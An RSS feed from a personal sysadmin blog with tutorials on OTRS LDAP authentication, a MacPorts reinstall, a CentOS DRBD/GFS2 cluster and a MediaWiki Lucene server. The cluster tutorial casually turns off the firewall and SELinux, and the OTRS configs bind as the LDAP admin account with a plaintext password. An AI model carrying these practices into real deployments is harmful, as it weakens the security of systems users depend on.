<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>marius &#187; Tutorials</title>
	<atom:link href="http://devilx.net/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://devilx.net</link>
	<description></description>
	<lastBuildDate>Mon, 14 May 2012 21:25:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>OTRS LDAP Authentication for Agents and Customers</title>
		<link>http://devilx.net/2010/03/19/otrs-ldap-authentication-for-agents-and-customers/</link>
		<comments>http://devilx.net/2010/03/19/otrs-ldap-authentication-for-agents-and-customers/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 04:05:40 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[Configuration]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[ITIL]]></category>
		<category><![CDATA[Kernel]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OTRS]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[RADIUS]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=1147</guid>
		<description><![CDATA[Probably many of you have or still are actively using the open-source, ITIL compliant trouble ticket system named OTRS. And probably some of you also might have experienced the pleasure of setting up the software once &#8211; and know the &#8230; <a href="http://devilx.net/2010/03/19/otrs-ldap-authentication-for-agents-and-customers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Probably many of you have or still are actively using the open-source, ITIL compliant trouble ticket system named <a href="http://otrs.org/">OTRS</a>. And probably some of you also might have experienced the pleasure of setting up the software once &#8211; and know the pain.</p>
<p>OTRS as a product is pretty cool and full of features, unfortunately from a technical aspect it&#8217;s pretty much of an unaesthetic &#8220;Perl hack&#8221; that&#8217;s, especially when you should try to integrate it into your existing environments and make it talk to your RADIUS or directly to your LDAP. Here, I would like to describe the basic configuration to get the latter working without any troubles.</p>
<p>Everything actually starts within the $OTRSHOME/Kernel/Config.pm. After you&#8217;ve set up your Apache to get you displayed the <em>/otrs/index.pl</em> and <em>/otrs/customer.pl</em> you&#8217;ll need to start hacking Perl in OTRS&#8217; &#8220;config file&#8221;.<br />
Let&#8217;s say, that we would want to authenticate against LDAP. And maybe not only for the agents (the people using index.pl) but also for the customers. So, let&#8217;s assume that we&#8217;re having a LDAP-tree containing our Base (&#8220;dc=something,dc=com&#8221;) and our &#8220;Users&#8221; OU (&#8220;ou=Users,dc=something,dc=com&#8221;). Also, we have a &#8220;Groups&#8221; OU (&#8220;ou=Groups,dc=something,dc=com&#8221;). I think that&#8217;s probably the most common built-up, regardless what names the OUs actually have.</p>
<p>Now, first of all, we need to know what user we could use to authenticate on our LDAP later and get the information we need. Here, I&#8217;m assuming it&#8217;s &#8220;cn=admin,dc=something,dc=com&#8221;. Let&#8217;s begin with the configuration for getting the agents authenticated:</p>
<pre>
    $Self->{'AuthModule'} = 'Kernel::System::Auth::LDAP';
    $Self->{'AuthModule::LDAP::Host'} = 'localhost';
    $Self->{'AuthModule::LDAP::BaseDN'} = 'dc=something,dc=com';
    $Self->{'AuthModule::LDAP::UID'} = 'uid';
    $Self->{'AuthModule::LDAP::GroupDN'} = 'cn=otrsagent,ou=Groups,dc=something,dc=com';
    $Self->{'AuthModule::LDAP::UserAttr'} = 'UID';
    $Self->{'AuthModule::LDAP::AccessAttr'} = 'memberUid';
    $Self->{'AuthModule::LDAP::Params'} = {
        port => 389,
        timeout => 120,
        async => 0,
        version => 3,
    };
</pre>
<p>The configuration should be pretty self-describing, though let&#8217;s sum it up: We&#8217;re connecting to the LDAP host &#8220;localhost&#8221; (since we probably tunnel the SSH port to the OTRS machine or have it running directly on that one &#8211; else you&#8217;d just need to specify another hostname/IP. BEWARE: When using an external LDAP with no tunnel you <strong>should</strong> use LDAPS!) and use our BaseDN. We define the user-id field being named &#8220;uid&#8221;, just like the user-attribute we&#8217;re going to look-up and we&#8217;ll be using the memberUid as access-attribute. Wait. memberUid? I lost you, right?</p>
<p>In this configuration, we&#8217;re also using a GroupDN that actually lets us &#8220;filter&#8221; which of our users might be allowed to use the OTRS as agents. For this, we&#8217;re accessing the group &#8220;otrsagent&#8221; within our &#8220;Groups&#8221;-OU and lookig up the memberUids.<br />
At last but not least, the actual LDAP parameters like the port for example.</p>
<p>Now, you can test your login by browsing to your index.pl and enter the credentials of an LDAP-user being in your otrsagent-group. You should now be possible to authenticate. Nothing more. You won&#8217;t be able to login to your OTRS yet. Why? It&#8217;s simple: OTRS uses LDAP only for authentication but initially copies the user-data from LDAP into its own database backend. Therefor we need to set up the &#8220;AuthSyncModule&#8221;.</p>
<p>This module allows us to tell OTRS that we&#8217;d like to have our user data being synchronized with the LDAP database. Let&#8217;s take a look at the actual configuration:</p>
<pre>
    $Self->{'AuthSyncModule'} = 'Kernel::System::Auth::Sync::LDAP';
    $Self->{'AuthSyncModule::LDAP::Host'} = 'ldap://localhost/';
    $Self->{'AuthSyncModule::LDAP::BaseDN'} = 'dc=something, dc=com';
    $Self->{'AuthSyncModule::LDAP::UID'} = 'uid';
    $Self->{'AuthSyncModule::LDAP::UserAttr'} = 'UID';
    $Self->{'AuthSyncModule::LDAP::AccessAttr'} = 'memberUid';
    $Self->{'AuthSyncModule::LDAP::SearchUserDN'} = 'cn=admin,dc=something,dc=com';
    $Self->{'AuthSyncModule::LDAP::SearchUserPw'} = 'swordfish';

    $Self->{'AuthSyncModule::LDAP::UserSyncMap'} = {
        UserFirstname => 'givenName',
        UserLastname  => 'sn',
        UserEmail     => 'mail',
    };
    $Self->{'AuthSyncModule::LDAP::UserSyncInitialGroups'} = [
        'users',
    ];
</pre>
<p>Again, from top to bottom: We tell OTRS what LDAP host, what BaseDN, what UID/UserAttr/AccessAttr, what search user and what password to use. Then, we need to define what&#8217;s needed to be synchronized. Here, we only sync the most important data: First name, last name and e-mail. Note: Without the mail entry this won&#8217;t work!<br />
After that, we define what OTRS-groups the user should initially be in.</p>
<p>Now you should be able to authenticate <strong>and</strong> login with your LDAP user. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':)' class='wp-smiley' /> </p>
<p><strong>Next, customer authentication.</strong></p>
<p>The customer authentication needs to be configured separately and also starts with basic LDAP information:</p>
<pre>
    $Self->{'Customer::AuthModule'} = 'Kernel::System::CustomerAuth::LDAP';
    $Self->{'Customer::AuthModule::LDAP::Host'} = 'localhost';
    $Self->{'Customer::AuthModule::LDAP::BaseDN'} = 'dc=something,dc=com';
    $Self->{'Customer::AuthModule::LDAP::UID'} = 'uid';
    $Self->{'Customer::AuthModule::LDAP::GroupDN'} = 'cn=otrscustomer,ou=Groups,dc=something,dc=com';
    $Self->{'Customer::AuthModule::LDAP::UserAttr'} = 'UID';
    $Self->{'Customer::AuthModule::LDAP::AccessAttr'} = 'memberUid';
    $Self->{'Customer::AuthModule::LDAP::SearchUserDN'} = 'cn=admin,dc=something,dc=com';
    $Self->{'Customer::AuthModule::LDAP::SearchUserPw'} = 'swordfish';
    $Self->{'Customer::AuthModule::LDAP::Params'} = {
        port => 389,
        timeout => 120,
        async => 0,
        version => 3,
    };
</pre>
<p>I think I don&#8217;t need to comment this section once again. Next:</p>
<pre>
    $Self->{CustomerUser} = {
      Name => 'LDAP Datasource',
      Module => 'Kernel::System::CustomerUser::LDAP',
      Params => {
         Host => 'localhost',
         BaseDN => 'dc=something,dc=com',
         SSCOPE => 'sub',
         UserDN => 'cn=admin,dc=something,dc=com',
         UserPW => 'swordfish',
         Params => {
            port => 389,
            timeout => 120,
            async => 0,
            version => 3,
         },
      },
      CustomerKey => 'uid',
      CustomerID => 'mail',
      CustomerUserListFields => ['sn', 'cn', 'mail'],
      CustomerUserSearchFields => ['uid', 'cn', 'sn', 'mail'],
CustomerUserSearchPrefix => '',
       CustomerUserSearchSuffix => '*',
       CustomerUserSearchListLimit => 250,
       CustomerUserPostMasterSearchFields => ['mail'],
       CustomerUserNameFields => ['givenname', 'sn'],
       CustomerUserExcludePrimaryCustomerID => 0,
       AdminSetPreferences => 0,
       Map => [
           [ 'UserSalutation', 'Title',      'title',           1, 0, 'var', '', 0 ],
           [ 'UserFirstname',  'Firstname',  'cn',              1, 1, 'var', '', 0 ],
           [ 'UserLastname',   'Lastname',   'sn',              1, 1, 'var', '', 0 ],
           [ 'UserLogin',      'Username',   'uid',             1, 1, 'var', '', 0 ],
           [ 'UserEmail',      'Email',      'mail',            1, 1, 'var', '', 0 ],
           [ 'UserCustomerID', 'CustomerID', 'mail',            0, 1, 'var', '', 0 ],
           [ 'UserPhone',      'Phone',      'telephonenumber', 1, 0, 'var', '', 0 ],
           [ 'UserAddress',    'Address',    'postaladdress',   1, 0, 'var', '', 0 ],
           [ 'UserComment',    'Comment',    'description',     1, 0, 'var', '', 0 ],
       ],
    };
</pre>
<p>This is theoretically the same we&#8217;ve also set up for the agents and will let OTRS synchronize the customer data into its own database. I think the whole mapping should be pretty clear when read carefully, so I&#8217;m not going to explain every setting in detail.</p>
<p>However, after you&#8217;ve hacked together your basic configuration in this kinda way, also the customer.pl authentication should be working against your LDAP.</p>
<p>There&#8217;s one more thing that&#8217;s left to be mentioned. When you authenticate your agents against the LDAP, OTRS will try to authenticate root@localhost against it &#8211; what probably won&#8217;t work anymore then. Of course, you won&#8217;t need to go without an administrative user now. Simply pick one of your LDAP users, add him to the otrsagent group, log in to the web-interface and then adding an entry into the group_user table of OTRS&#8217; database, containing the user_id of your LDAP user (get it from the &#8220;users&#8221; table) and the group_id &#8220;1&#8243;, with the permission_key &#8220;rw&#8221; and the permission_value &#8220;1&#8243;. After that, the user should have administrative rights.</p>
<p>And the next time, I&#8217;ll show you how to build an automatic back-scratcher using a wall, some glue and a cat. Enjoy! <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2010/03/19/otrs-ldap-authentication-for-agents-and-customers/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Clean Re-Installation of MacPorts under Snow Leopard</title>
		<link>http://devilx.net/2009/11/21/clean-re-installation-of-macports-under-snow-leopard/</link>
		<comments>http://devilx.net/2009/11/21/clean-re-installation-of-macports-under-snow-leopard/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 12:51:14 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Mac and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Clean]]></category>
		<category><![CDATA[Installation]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[MacPorts]]></category>
		<category><![CDATA[Snow Leopard]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=1119</guid>
		<description><![CDATA[Since I&#8217;ve upgraded from Leopard to Snow Leopard, I had trouble using MacPorts until I cleaned it all up and did a fresh re-install &#8211; which really helped. Here&#8217;s the way to go: First of all, re-install the MacPorts.dmg. After &#8230; <a href="http://devilx.net/2009/11/21/clean-re-installation-of-macports-under-snow-leopard/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Since I&#8217;ve upgraded from Leopard to Snow Leopard, I had trouble using MacPorts until I cleaned it all up and did a fresh re-install &#8211; which really helped. Here&#8217;s the way to go:</p>
<p>First of all, re-install the MacPorts.dmg. After that, check what packages you&#8217;ve got installed and activated:</p>
<blockquote><p>$ port installed | grep -i active</p></blockquote>
<p>You can save this list by redirecting it&#8217;s output via &gt; to any file. Next, clean up the ports:</p>
<blockquote><p>$ sudo su -<br />
Password:<br />
# port clean all</p></blockquote>
<p>Next, uninstall *all* installed (even not activated) ports:</p>
<blockquote><p># sudo port -f uninstall installed</p></blockquote>
<p>And last but not least, look at your list, check what software you still need and re-install it:</p>
<blockquote><p># port install</p></blockquote>
<p>You could try to automate the re-installation by something like:</p>
<blockquote><p># port install $(cat ./file_containing_list.txt | awk &#8216;{ print $1 }&#8217; | while read line; do echo -n &#8220;$line &#8220;; done)</p></blockquote>
<p>Although I would not recommend it, since you&#8217;d like to install different variants on some ports. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/11/21/clean-re-installation-of-macports-under-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A brief summary of setting up a CentOS 5.4 DRBD Cluster in Primary/Primary</title>
		<link>http://devilx.net/2009/11/14/a-brief-summary-of-setting-up-a-centos-5-4-drbd-cluster-in-primaryprimary/</link>
		<comments>http://devilx.net/2009/11/14/a-brief-summary-of-setting-up-a-centos-5-4-drbd-cluster-in-primaryprimary/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 20:10:45 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Cluster]]></category>
		<category><![CDATA[CMAN]]></category>
		<category><![CDATA[Coffee]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[DRBD]]></category>
		<category><![CDATA[GFS]]></category>
		<category><![CDATA[Grub]]></category>
		<category><![CDATA[High Availability]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[HPET]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OCFS]]></category>
		<category><![CDATA[OpenAIS]]></category>
		<category><![CDATA[RedHat]]></category>
		<category><![CDATA[RHEL]]></category>
		<category><![CDATA[SELinux]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Storage]]></category>
		<category><![CDATA[SuSE]]></category>
		<category><![CDATA[TSC]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=1090</guid>
		<description><![CDATA[Clustering is cool and fun when it&#8217;s working, but for getting to such status it mostly takes like a dozen hours, coffee and many nerves. To simplify it a bit, I&#8217;d like to share some information on that topic, especially &#8230; <a href="http://devilx.net/2009/11/14/a-brief-summary-of-setting-up-a-centos-5-4-drbd-cluster-in-primaryprimary/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Clustering is cool and fun when it&#8217;s working, but for getting to such status it mostly takes like a dozen hours, coffee and many nerves. To simplify it a bit, I&#8217;d like to share some information on that topic, especially the stones I stumbled over.</p>
<p>First of all, we defined our scenario. Let&#8217;s assume that we&#8217;d like to have a cluster of two servers, both running the latest CentOS (5.4), both up-to-date, both using the very same partitioning and both using DRBD and GFS(2). On most SuSE or Debian systems, the installation would be pretty straight-forward: You install the base system, set up the DRBD, format it with some OCFS and make Heartbeat monitor everything. So far so good. On RHEL/CentOS it seems to work a bit different, due to the different tools they&#8217;re using. When installing the installation-group &#8220;Cluster Storage&#8221; for example, yum fetches packages named openais and cman &#8211; tools you&#8217;ve probably never heard of, when you come form the Debian corner (as I do). But before I describe those in detail, let&#8217;s just configure our plain base-installation.</p>
<p>What do we need to do first? What&#8217;s one of the most important things on two systems that should run &#8220;symmetrically&#8221; and have the very same data available, with every change that&#8217;s being made every second? Exactly, the time would be one of those things. We need to assure that both systems use the very same time. Mostly, you&#8217;ll be using some x86_64 hardware for such setups, where the problems start: On 64-bit hardware, the timekeeping with TSC doesn&#8217;t run <strong>that</strong> perfect, which is why we should just deactivate it and leave HPET do its job alone. After installing ntpd we need to open our grub.conf and add the notsc option to our kernels. It should looks something like this:</p>
<blockquote><p>===================================================================<br />
RCS file: /etc/grub.conf,v<br />
retrieving revision 1.1<br />
diff -u -r1.1 /etc/grub.conf<br />
&#8212; /etc/grub.conf	2009/11/13 13:30:26	1.1<br />
+++ /etc/grub.conf	2009/11/13 13:32:26<br />
@@ -13,9 +13,9 @@<br />
hiddenmenu<br />
title CentOS (2.6.18-164.6.1.el5)<br />
root (hd0,0)<br />
-	kernel /vmlinuz-2.6.18-164.6.1.el5 ro root=LABEL=/<br />
+	kernel /vmlinuz-2.6.18-164.6.1.el5 ro root=LABEL=/ notsc<br />
initrd /initrd-2.6.18-164.6.1.el5.img<br />
title CentOS (2.6.18-164.el5)<br />
root (hd0,0)<br />
-	kernel /vmlinuz-2.6.18-164.el5 ro root=LABEL=/<br />
+	kernel /vmlinuz-2.6.18-164.el5 ro root=LABEL=/ notsc<br />
initrd /initrd-2.6.18-164.el5.img</p></blockquote>
<p>Now, we can shutdown the ntpd and set its drift-file to 0.000. After that, simply reboot and check the dmesg for the HPET-lines and of course also check the time on both systems to be identically.</p>
<p>Now, what else should we configure until we start building our actual cluster? Probably, we should take a look into the system-config-securitylevel-tui tool. Depending on what environment you plan your cluster to run in, you either want to open each port by port manually in the firewall and configure your SELinux to allow CMAN/OpenAIS and DRBD to work properly &#8211; or you simply turn of those &#8220;toys&#8221; and configure the network-segment to be secure by itself. It depends to you and I&#8217;m not going to write how to reconfigure the firewall or your SELinux-environment. For my tests, I simply turned both off. Especially the combination of CMAN/OpenAIS and SELinux can become pretty tricky, when SELinux runs in any other mode than &#8220;Disabled&#8221;. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>Now, let&#8217;s finally please our inner kid and install some software:</p>
<blockquote><p># yum groupinstall &#8220;Cluster Storage&#8221;<br />
&#8230;<br />
# yum install drbd83 kmod-drbd83<br />
&#8230;</p></blockquote>
<p>I&#8217;ve chosen to use drbd83 since it&#8217;s the next stable release and already obsoletes drbd82 in CentOS 5.4 &#8211; and drbd is simply just too old. Of course, upgrades might become tricky when using explicitly versioned packages, but on DRBD it&#8217;s always a bit tricky, since there could be configuration changes which would have to be implemented manually on future versions.</p>
<p>However, now let&#8217;s create the infamous and poorly documented /etc/cluster/cluster.conf. For testing, we could simply use something like this:</p>
<blockquote><p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cluster alias=&#8221;cluster-setup&#8221; config_version=&#8221;1&#8243; name=&#8221;cluster-setup&#8221;&gt;<br />
&lt;rm log_level=&#8221;4&#8243;/&gt;<br />
&lt;fence_daemon clean_start=&#8221;1&#8243; post_fail_delay=&#8221;0&#8243; post_join_delay=&#8221;3&#8243;/&gt;<br />
&lt;clusternodes&gt;<br />
&lt;clusternode name=&#8221;server-1.cross&#8221; nodeid=&#8221;1&#8243; votes=&#8221;1&#8243;&gt;<br />
&lt;fence&gt;<br />
&lt;method name=&#8221;2&#8243;&gt;<br />
&lt;device name=&#8221;LastResortNode01&#8243;/&gt;<br />
&lt;/method&gt;<br />
&lt;/fence&gt;<br />
&lt;/clusternode&gt;<br />
&lt;clusternode name=&#8221;server-2.cross&#8221; nodeid=&#8221;2&#8243; votes=&#8221;1&#8243;&gt;<br />
&lt;fence&gt;<br />
&lt;method name=&#8221;2&#8243;&gt;<br />
&lt;device name=&#8221;LastResortNode02&#8243;/&gt;<br />
&lt;/method&gt;<br />
&lt;/fence&gt;<br />
&lt;/clusternode&gt;<br />
&lt;/clusternodes&gt;<br />
&lt;cman expected_votes=&#8221;1&#8243; two_node=&#8221;1&#8243;/&gt;<br />
&lt;fencedevices&gt;<br />
&lt;fencedevice agent=&#8221;fence_manual&#8221; name=&#8221;LastResortNode01&#8243; nodename=&#8221;server-1.cross&#8221;/&gt;<br />
&lt;fencedevice agent=&#8221;fence_manual&#8221; name=&#8221;LastResortNode02&#8243; nodename=&#8221;server-2.cross&#8221;/&gt;<br />
&lt;/fencedevices&gt;<br />
&lt;rm/&gt;<br />
&lt;totem consensus=&#8221;4800&#8243; join=&#8221;60&#8243; token=&#8221;10000&#8243; token_retransmits_before_loss_const=&#8221;20&#8243;/&gt;<br />
&lt;/cluster&gt;</p></blockquote>
<p>Configuring OpenAIS this way isn&#8217;t actually the best way&#8230; it&#8217;s not even &#8220;good&#8221;. But for testing (and understanding how stuff works) it should be enough. Those rules expect manual intervention when one of the two server should become unavailable and needs to be brought back into the cluster.</p>
<p>The domain &#8220;.cross&#8221; is expected to be a hostname.domainname entry within the /etc/hosts of each server and defines the direct cross-cable-connection from one server to another. We need this connection to shrink down network latency and provide a way for OpenAIS and (in this example) also DRBD to directly communicate with each other. A better setup would be to set the heartbeat on top of a serial-line, since it would be most fault-tolerant.</p>
<p>Okay, next. What&#8217;s left? Exactly, the actual DRBD &#8211; so let&#8217;s set it up:</p>
<blockquote><p>global { usage-count yes; }<br />
common { syncer { rate 100M; } }<br />
resource the-disk {<br />
protocol C;<br />
startup {<br />
wfc-timeout 20;<br />
degr-wfc-timeout 10;<br />
# become-primary-on both; # Uncomment this only after tested!<br />
}<br />
net {<br />
cram-hmac-alg sha1;<br />
shared-secret &#8220;i4m501337&#8243;;<br />
allow-two-primaries;<br />
}<br />
on server-1 {<br />
device    /dev/drbd1;<br />
disk      /dev/sdb;<br />
address   10.100.0.1:7789;<br />
meta-disk  internal;<br />
}<br />
on server-2 {<br />
device    /dev/drbd1;<br />
disk      /dev/sdb;<br />
address   10.100.0.2:7789;<br />
meta-disk  internal;<br />
}<br />
disk {<br />
fencing resource-and-stonith;<br />
}<br />
handlers {<br />
#outdate-peer &#8220;/sbin/handler&#8221;;<br />
}<br />
}</p></blockquote>
<p>This configuration defines our two servers and tells DRBD to use /dev/sdb on both for the actual data. Our meta-disk will be internal and with address we defined &#8211; guess what? &#8211; the IP addresses of our two servers. Those are the .cross-domain addresses!</p>
<p>Next, we initialize our meta-disks (on both nodes), set our generation identifier, start the actual DRBD service and check the roles it currently runs in:</p>
<blockquote><p># drbdadm create-md the-disk<br />
&#8230;<br />
# drbdadm &#8212; 6::::1 set-gi the-disk<br />
&#8230;<br />
# service drbd start<br />
&#8230;<br />
# drbdadm role all<br />
Secondary/Secondary</p></blockquote>
<p>If all those steps succeed, we can try to promote both nodes to primary:</p>
<blockquote><p># drbdadm primary all<br />
# drbdadm role all<br />
Primary/Primary</p></blockquote>
<p>And if this now worked out properly, we can enable the automatic promotion from within our drbd.conf:</p>
<blockquote><p># rcsdiff -u /etc/drbd.conf<br />
===================================================================<br />
RCS file: /etc/drbd.conf,v<br />
retrieving revision 1.2<br />
diff -u -r1.2 /etc/drbd.conf<br />
&#8212; /etc/drbd.conf	2009/11/13 10:34:23	1.2<br />
+++ /etc/drbd.conf	2009/11/13 15:16:26<br />
@@ -9,7 +9,7 @@<br />
startup {<br />
wfc-timeout 20;<br />
degr-wfc-timeout 10;<br />
-                # become-primary-on both; # Uncomment this only after tested!<br />
+                become-primary-on both; # Uncomment this only after tested!<br />
}<br />
net {<br />
cram-hmac-alg sha1;</p></blockquote>
<p>Great. <em>So we&#8217;re set up now?</em> Nope. We&#8217;re not. Next, we need to change DRBDs boot order in order for it to work properly with the GFS auto-mounting on boot:</p>
<blockquote><p># rcsdiff -u /etc/init.d/drbd<br />
===================================================================<br />
RCS file: /etc/init.d/drbd,v<br />
retrieving revision 1.1<br />
diff -u -r1.1 /etc/init.d/drbd<br />
&#8212; /etc/init.d/drbd	2009/11/13 10:57:15	1.1<br />
+++ /etc/init.d/drbd	2009/11/13 10:58:15<br />
@@ -1,6 +1,6 @@<br />
#!/bin/bash<br />
#<br />
-# chkconfig: 345 70 08<br />
+# chkconfig: 345 22 75<br />
# description: Loads and unloads the drbd module<br />
#<br />
# Copright 2001-2008 LINBIT Information Technologies</p></blockquote>
<p>And let it run on boot:</p>
<blockquote><p># chkconfig &#8211;level 345 drbd on</p></blockquote>
<p>Great! <em>So, now we are set up, right?</em> Nope, wrong. We have a running DRBD setup now, but we still lack of a cluster-able file-system. GFS2 is a pretty good choice for such a task, so let&#8217;s try to format the DRBD-device on <strong>one of our nodes</strong> with it:</p>
<blockquote><p># mkfs.gfs2 -p lock_dlm -t cluster-setup:mycluster /dev/drbd1 -j 2</p></blockquote>
<p>Before we can try to mount the device, we need to have OpenAIS/CMAN running, in order to manage our GFS consistency. Let&#8217;s start the cman service therefor (on both nodes!):</p>
<blockquote><p># service cman start</p></blockquote>
<p>Starting cman and starting fenced could take several seconds, be patient. If you installed both servers identically and followed this documentation step by step everything should work out just fine. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
<p>At last, we can now mount our DRBD device into some folder (on both nodes) and start playing around with our fresh setup:</p>
<blockquote><p># mount -t gfs2 /dev/drbd1 /mnt/somefolder</p></blockquote>
<p>I hope everything worked out for you and I also hoped that this brief summary helped you getting a bit easier into the actual setup of such a cluster setup. Feel free to ask any questions or provide feedback in any form.</p>
<p>Enjoy! <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/11/14/a-brief-summary-of-setting-up-a-centos-5-4-drbd-cluster-in-primaryprimary/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>MediaWiki and Lucene</title>
		<link>http://devilx.net/2009/11/02/mediawiki-and-lucene/</link>
		<comments>http://devilx.net/2009/11/02/mediawiki-and-lucene/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 12:14:31 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[World Wide Web]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[JAR]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Lucene]]></category>
		<category><![CDATA[MediaWiki]]></category>
		<category><![CDATA[Search]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=1035</guid>
		<description><![CDATA[Lately, I had to enhance a MediaWiki-installation for the search to find some special parameters within a code block. It&#8217;s generally known that MediaWiki&#8217;s built-in searcher is really just an example of how searching could work, but nothing you&#8217;d really &#8230; <a href="http://devilx.net/2009/11/02/mediawiki-and-lucene/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lately, I had to enhance a MediaWiki-installation for the search to find some special parameters within a code block. It&#8217;s generally known that MediaWiki&#8217;s built-in searcher is really just an example of how searching could work, but nothing you&#8217;d really like to use on heavy systems. However, Lucene is a pretty good replacement for MediaWiki&#8217;s built-in search, unfortunately the current EzMwLucene version isn&#8217;t that good integrated into the latest (Debian) Linux version I&#8217;ve been using. The installation on the <a title="Extension:EzMwLucene - MediaWiki" href="http://www.mediawiki.org/wiki/Extension:EzMwLucene">EzMwLucene Extension</a> looks pretty straight-forward, but at least on my installation the lucene/server didn&#8217;t really wanted to come up using the scripts that were shipped within its package. After debugging its startup procedure and taking a look into its classes and JARs, I came up with the following command to run the Lucene-server on a Debian GNU/Linux:</p>
<blockquote><p>export EZMWLUCENE_HOME=/opt/lucene/server<br />
/usr/lib/jvm/java-6-sun-1.6.0.12/jre/bin/java -Dezmwlucene.home=$EZMWLUCENE_HOME -Djava.io.tmpdir=$TMP -cp $EZMWLUCENE_HOME/ezmwlucene.jar:$EZMWLUCENE_HOME/lib/jetty-6.1.14.jar:$EZMWLUCENE_HOME/lib/jetty-util-6.1.14.jar:$EZMWLUCENE_HOME/lib/servlet-api-2.5-6.1.14.jar:$EZMWLUCENE_HOME/lib/commons-codec-1.3.jar:$EZMWLUCENE_HOME/lib/commons-httpclient-3.1.jar:$EZMWLUCENE_HOME/lib/commons-logging.jar:$EZMWLUCENE_HOME/lib/FontBox-0.1.0-dev.jar:$EZMWLUCENE_HOME/lib/lucene-core-2.4.0.jar:$EZMWLUCENE_HOME/lib/lucene-highlighter-2.4.0.jar:$EZMWLUCENE_HOME/lib/PDFBox-0.7.3.jar:$EZMWLUCENE_HOME/lib/poi-3.5-beta3-20080926.jar:$EZMWLUCENE_HOME/lib/poi-scratchpad-3.5-beta3-20080926.jar net.sourceforge.ezmwlucene.service.EzMwLuceneService</p></blockquote>
<p>Those two lines can be packed-up within a shell-script, which then gets ran by a proper /etc/init.d-script. For me, it now just works perfectly.</p>
<p>Enjoy! <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2009/11/02/mediawiki-and-lucene/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neil, this Tricky Little B&#8230;oy!</title>
		<link>http://devilx.net/2009/05/09/neil-this-tricky-little-boy/</link>
		<comments>http://devilx.net/2009/05/09/neil-this-tricky-little-boy/#comments</comments>
		<pubDate>Sat, 09 May 2009 16:20:20 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Hot Gear]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Mac and stuff ...]]></category>
